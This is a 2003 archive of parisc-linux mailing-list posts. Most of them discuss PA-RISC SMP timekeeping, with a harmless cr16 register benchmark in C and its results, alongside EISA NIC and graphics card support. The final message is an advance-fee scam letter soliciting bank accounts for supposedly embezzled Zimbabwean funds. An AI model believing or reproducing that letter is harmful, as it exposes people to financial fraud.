>     *    Once parisc-linux learns the cr16 difference between
>     *    processors,
>     *    this could be made to work.
>     */

This is what I've been trying to explain.

> Does that mean that our time granularity drops drastically in the SMP
> case? We loose usec! (2.4 and 2.5 kernels)

not by much.

grant


From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Tue, 29 Jul 2003 22:06:09 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20030729210609.GK6706@sleepie.demon.co.uk>
References: <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted> <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk> <20030728211012.GC6706@sleepie.demon.co.uk> <20030729175057.GA17107@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622633 28595 80.91.229.3 (22 Nov 2014 02:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 15:23:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc1-hem11-4-cust109.lutn.cable.ntl.com [80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 228FE482E; Tue, 29 Jul 2003 15:23:14 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 815159E718; Tue, 29 Jul 2003 22:06:09 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20030729175057.GA17107@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19051

On Tue, Jul 29, 2003 at 01:50:58PM -0400, Carlos O'Donell wrote:
> > > We discussed this in the Black Thorn ... record what value you last
> > > returned to the user and never return less than that.
> > 
> > Not very nice if the difference between CPUs is significant.  You could
> > find yourself checking time on CPU A, doing some work, getting moved to
> > CPU B, checking time, and finding you apparently did all that in 0ns.
> 
> Willy and myself talked about this, you just return 1ns in the case
> where you know that _something_ must have taken _some_ amount of time
> (e.g. the insns that make up fast gettimeofday) so you couldn't have done
> it in zero time :)

Depends what people want to use it for.  I couldn't use it to time how
long some syscall took, for example.  But if we zap the microseconds
part on smp anyway, that's irrelevant.

Richard



From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] eisa nic: intel 82556. Driver?
Date: Tue, 29 Jul 2003 15:32:35 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030729213235.GF22989@dsl2.external.hp.com>
References: <41001F95FE172B4593DE6F50CAAF2D581AA227@mailserver.tj.rs.gov.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622634 28599 80.91.229.3 (22 Nov 2014 02:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Diego Francisco de Gastal Morales <Morales@tj.rs.gov.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 15:32:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D09EE482E; Tue, 29 Jul 2003 15:32:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <41001F95FE172B4593DE6F50CAAF2D581AA227@mailserver.tj.rs.gov.br>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19052

On Mon, Jul 28, 2003 at 04:55:25PM -0300, Diego Francisco de Gastal Morales wrote:
> 	I just installed linux on a HP9000/D280. It's all fine,
> except the machine has two eisa fast ethernet cards, with intel 82556
> chipset, and I can't make it work.

No EISA cards which require DMA will work (yet).
Wax (EISA bus controller) docs haven't been published and a non-coherent
IOMMU (have I got that right, James?) needs to be programmed for DMA.

It's likely someone from inside HP will have to write that code
since it's gotten alot harder to publish stuff.

grant


From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] eisa nic: intel 82556. Driver?
Date: 29 Jul 2003 18:48:58 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <1059518940.2298.251.camel@mulgrave>
References: <41001F95FE172B4593DE6F50CAAF2D581AA227@mailserver.tj.rs.gov.br> 
	<20030729213235.GF22989@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622634 28601 80.91.229.3 (22 Nov 2014 02:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:14 +0000 (UTC)
Cc: Diego Francisco de Gastal Morales <Morales@tj.rs.gov.br>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 16:49:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8814482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jul 2003 16:49:03 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h6TMmxI29916;
	Tue, 29 Jul 2003 18:48:59 -0400
In-Reply-To: <20030729213235.GF22989@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19053

On Tue, 2003-07-29 at 17:32, Grant Grundler wrote:
> No EISA cards which require DMA will work (yet).

Actually, I believe at least the aha1740 will.  The problem is that very
few have been properly converted to using the API.  A lot have been
converted to use the EISA bus abstraction, but there's no incentive to
take them further.

Fortunately, since EISA cards were mainly designed to work in PIO mode
in I/O space, there are quite a few that will work if they've only been
converted to the new probing API.

> Wax (EISA bus controller) docs haven't been published and a non-coherent
> IOMMU (have I got that right, James?) needs to be programmed for DMA.

I'm not really sure what the wax IOMMU does.  I suspect its main use is
to help ISA like cards, but I don't know for sure. It currently looks
like Wax/Mongoose are simply bypassed, and the DMA goes straight through
the U2/Uturn.

James




From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Tue, 29 Jul 2003 19:36:25 -0400
Lines: 90
Approved: news@gmane.org
Message-ID: <20030729233624.GB17107@systemhalted>
References: <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted> <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk> <20030728211012.GC6706@sleepie.demon.co.uk> <20030729175057.GA17107@systemhalted> <20030729210609.GK6706@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622634 28603 80.91.229.3 (22 Nov 2014 02:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 17:38:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8909A482E; Tue, 29 Jul 2003 17:38:24 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19he13-0004Qj-00; Tue, 29 Jul 2003 19:36:25 -0400
Content-Disposition: inline
In-Reply-To: <20030729210609.GK6706@sleepie.demon.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19054

> Depends what people want to use it for.  I couldn't use it to time how
> long some syscall took, for example.  But if we zap the microseconds
> part on smp anyway, that's irrelevant.

Well there was talk of, on irc, of exporting the CPU# through cr26.

- Read cr16
- Read cr26
- Read cr16

If you weren't rescheduled the delta should be a minimal number of
ticks (not taking into account nearness to unsigned overflow). You then
use this tick value to calculate a delta via a table of CPU specific
offsets. If the tick is far out from the last read, then you assume a
reschedule and loop. Perhaps terminating on the third try with a default
delta?

I mean the easiest way, as willy notes is to jump into the kernel with a
fast syscall, disable interrupts, get the CPU# and index into a table of
cpu vs. last known good tick. 

However, since we _can_ read cr16 (as willy wrote in an email I totally
failed to read, sorry willy!) from userspace on most systems (not on
705's and 710's but they aren't SMP anyway and we can change the method
there) we are trying to make good use of that.

So there are a variety of ways:

1. Fast-syscall similar to set_thread_register, clears interrupt bit,
   indexes into cpu# table to get last good known tick and returns it
   to userspace (after cleaning up the mess).

2. Userspace does triple read and loop until it looks like we (in a
   lockless fashion) have both the right CPU# and latest tick which we
   can use to update our CPU/tick table.

3. Export a page with '(tick_val & mask) | CPU#' or 'tick_val xor CPU#'.
   You then use this to determine the CPU and tick atomically in a
   single read.

We know #1 works. We don't know if #2 is faster than #1 (or stable), 
anyone wishing to comment please do :) Number 3 would loose resolution 
in, first by loping off bits, or by having near tick values that 
overlap and you aren't able to find the CPU# from the xor'd quantity.

To add a datapoint to #2, on a PA8700 650Mhz I see:
Anyone wishing to run this test on another box, please do...
---
#include <stdio.h>
#include <time.h>

#define LOOPS 1000

int main(void){
   double avg_diff=0.0;
   unsigned long cr16a, cr16b, cr26;
   int i=LOOPS;

   while(i>0){
      asm("mfctl %%cr16, %%r26   \n\
           mfctl %%cr26, %%r24   \n\
           mfctl %%cr16, %%r25   \n\
           stw %%r26, %0         \n\
           stw %%r25, %1         \n\
           stw %%r24, %2" : "=m" (cr16a), "=m" (cr16b), "=m" (cr26) :);
      printf("cr26=%lu\ncr16a=%lu\ncr16b=%lu\ndiff=%lu\n",
		cr26,cr16a,cr16b,cr16b-cr16a);
      avg_diff+=(double)(cr16b-cr16a);
      printf("avg_diff=%f\n",avg_diff);
      i--;
   }

   printf("Average ticks per back/back cr16 read (%lu loops) = %f\n",
		LOOPS,avg_diff/(double)LOOPS);
   exit(0);
}
---
<snip>
cr26=4294967295
cr16a=3348684869
cr16b=3348684881
diff=12
avg_diff=11435.000000
Average ticks per back/back cr16 read (1000 loops) = 11.435000
carlos@firin:/mnt/flaire/src/linux-2.5/arch/parisc/kernel$ 
---

c.



From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Tue, 29 Jul 2003 19:38:16 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <20030729233816.GC17107@systemhalted>
References: <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted> <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk> <20030728211012.GC6706@sleepie.demon.co.uk> <20030729175057.GA17107@systemhalted> <20030729210609.GK6706@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622635 28605 80.91.229.3 (22 Nov 2014 02:17:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:15 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 17:40:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DC030482E; Tue, 29 Jul 2003 17:40:14 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19he2q-0004gL-00; Tue, 29 Jul 2003 19:38:16 -0400
Content-Disposition: inline
In-Reply-To: <20030729210609.GK6706@sleepie.demon.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19055

> Depends what people want to use it for.  I couldn't use it to time how
> long some syscall took, for example.  But if we zap the microseconds
> part on smp anyway, that's irrelevant.

useconds gets zapped in gettimeofday on SMP systems. I'm working on
trying to fix this :)

c.


From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <dantes@altern.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A question about graphic cards - again...
Date: Wed, 30 Jul 2003 14:40:24 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20030730130104.948A2482D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416622635 28608 80.91.229.3 (22 Nov 2014 02:17:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 30 07:01:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from altern.org (altern.org [80.67.174.57])
	by dsl2.external.hp.com (Postfix) with SMTP id 948A2482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jul 2003 07:01:04 -0600 (MDT)
Original-Received: (qmail 23140 invoked by alias); 30 Jul 2003 12:40:24 -0000
Original-Received: from unknown (HELO localhost) (127.0.0.1)
  by localhost with SMTP; 30 Jul 2003 12:40:24 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19056

Hello list,


Although I have found quite a lot of posts about graphic cards in the list archives, I still have a few points unanswered, so here they are.

I'll get tomorrow a C240 which seems to have a Visualize FX2 inside (well the guy I'm getting it from says so). From what I understood, this card is not supported by XFree. Moreover, it's got an EVC connector (sure of that, checked it myself), and the adaptator for VGA is friggin' expensive...

So I was wondering about sticking a regular (as in "from the PC world") PCI VGA card in it, to get graphics and so on. And now, ladies and gentlemen, here are the questions:


- What about firmware support? Will the machine be able to display the boot output on a non-HP PCI card? (mmm... pretty sure it won't, actually)

- What about the kernel? Do I *have* to use STIcon or STIfb on HPPA kernels, or can I use a regular console?

- I have read somewhere that quite a lot of PCI graphic cards are not properly initialised by their X drivers (relying on firmware to be run at boot time). Could people share info about which ones are working, and which ones ain't?

- Last but not least, what about HP-UX support of alien graphic cards?


OK, that's all for today. Thanks a lot in advance for your answers, and best regards!
Dantes



From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Wed, 30 Jul 2003 18:37:53 +0200
Organization: ESIEE
Lines: 23
Approved: news@gmane.org
Message-ID: <20030730183753.72bf106c.varenet@esiee.fr>
References: <20030726174845.GF31744@systemhalted>
	<20030726180031.GG31744@systemhalted>
	<20030727122745.GC16753@dsl2.external.hp.com>
	<20030728155703.GA32553@systemhalted>
	<20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk>
	<20030728190455.GE32553@systemhalted>
	<20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk>
	<20030728211012.GC6706@sleepie.demon.co.uk>
	<20030729175057.GA17107@systemhalted>
	<20030729210609.GK6706@sleepie.demon.co.uk>
	<20030729233624.GB17107@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622635 28612 80.91.229.3 (22 Nov 2014 02:17:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:15 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 30 10:38:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 574E8482D; Wed, 30 Jul 2003 10:38:09 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h6UGbrrQ009897;
	Wed, 30 Jul 2003 18:37:55 +0200
In-Reply-To: <20030729233624.GB17107@systemhalted>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19057

On Tue, 29 Jul 2003 19:36:25 -0400
Carlos O'Donell <carlos@baldric.uwo.ca> wrote:


> To add a datapoint to #2, on a PA8700 650Mhz I see:
> Anyone wishing to run this test on another box, please do...

A500-5X (PA8600@550Mhz):

cr26=4294934527
cr16a=4175244475
cr16b=4175244488
diff=13
avg_diff=12993.000000
Average ticks per back/back cr16 read (1000 loops) = 12.993000

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: brownhpotricio@netscape.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PERSONAL ASSISTANCE
Date: Wed, 30 Jul 2003 20:12:58 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20030730181305.BC251482D@dsl2.external.hp.com>
Reply-To: brownhpotricio@netscape.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622636 28613 80.91.229.3 (22 Nov 2014 02:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 30 12:13:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kos5 (unknown [62.58.168.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC251482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jul 2003 12:13:05 -0600 (MDT)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19058

FROM: Mr. Brown Potricio. 
THE NETHERLANDS,


Dear sir,

                                                                                     SOLICITING FOR A BUSINESS VENTURE AND PARTNERSHIP.

Before  I  proceed, I must be very greatful to introduce myself .My name is Mr.Brown Potricio, a Zimbabwean.My father HON.Hipolito Potricio who  was formerly a personal aid to one of the top ministers (minister of finnance) of robert mugabe's former government.Due to my father position and closeness with the president Robert mugabe, my father absconded with  Ten.five million united state dollars (us$10.5m). which was part of the money meant for campainning for president robert Mugabe's re-election into office under Zanu PF Party. Presently I have been able to move the funds from Africa diplomatically to a security company in Netherlands where I now reside as a refugee.

MY REQUEST: As a result of my present situation as a refugee who cannot have access to own an account or accounts,I am looking for a trustworthy individual /firm to advice me in making the rightful investment as wellas to provide account(s)where the funds will be lodge into,more also we are at the interim interested in buying properties for residence as my family will be residing there and in the near future.

COMMISSION/REMUNERATION: As regards your commission/remuneration,I and my immediate family have decided to offer you 25% of the total sum and also set aside 5% for all your expenses (i.e) telephone bills,travelling expenses, hotel bills and other miscellaneous expenses.

NOTE:   I shall commit half of my own share of the total sum into a joint venture project preferably in the purchase of real estate or other profitable business venture.Be assured that you stand no risk of any kind as the funds in question belong to me alone. As soon as I get your consent , I  will furnish you with the details and contact of the security company and a face to face meeting will be arrange in order to know each other better.

I  strongly believe that associating with you to emback on this and other business ventures will derive a huge success hereafter and it will be a long lasting business association. if you have any question, do not hesitate to contact me with the above telephone number and e-mail address.

